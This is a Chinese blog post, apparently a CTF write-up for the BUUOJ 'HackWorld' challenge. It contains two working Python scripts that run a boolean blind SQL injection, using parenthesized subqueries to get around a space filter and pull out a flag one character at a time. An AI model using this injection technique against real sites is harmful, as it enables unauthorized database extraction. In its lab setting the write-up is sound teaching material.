HackWorld

本文最后更新于:2022年1月22日 晚上

image-20211129141524135

题目到手如图

稍微测试了一下,主要的发现就是过滤了空格,然后是bool回显

这就没啥难度了,直接写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests


dict='abcdefghijklmnopqrstuvwxyz1234567890-{}'
url='http://1448e4b8-efc3-4a33-82e4-9a3a073e5edb.node4.buuoj.cn:81/'
flag=''
for i in range (1,60):
for str in dict:
payload="(select(substring(flag,{0},1)='{1}')from(flag))".format(i,str)
post_data={'id':payload}
res=requests.post(url=url,data=post_data)
if "Hello" in res.text:
flag=flag+str
print(flag)
break

image-20211129143220945

因为'-'被过滤的关系导致flag有点问题

改一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests


dict='abcdefghijklmnopqrstuvwxyz1234567890{}-'
url='http://1448e4b8-efc3-4a33-82e4-9a3a073e5edb.node4.buuoj.cn:81/'
flag=''
for i in range (1,60):
for str in dict:
payload="(select(substring(flag,{0},1)='{1}')from(flag))".format(i,str)
post_data={'id':payload}
res=requests.post(url=url,data=post_data)
if "Hello" in res.text:
flag=flag+str
print(flag)
break
if "SQL Injection Checked." in res.text:
flag=flag+str
print(flag)
break

image-20211129144627788

正确回显了

当然也能通过ascii()来绕过这个过滤使flag正确回显,我这里图方便就不写了

然后这题其实有更高效率的逻辑

可以用二分法来实现,(但是其实不是太实用)


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!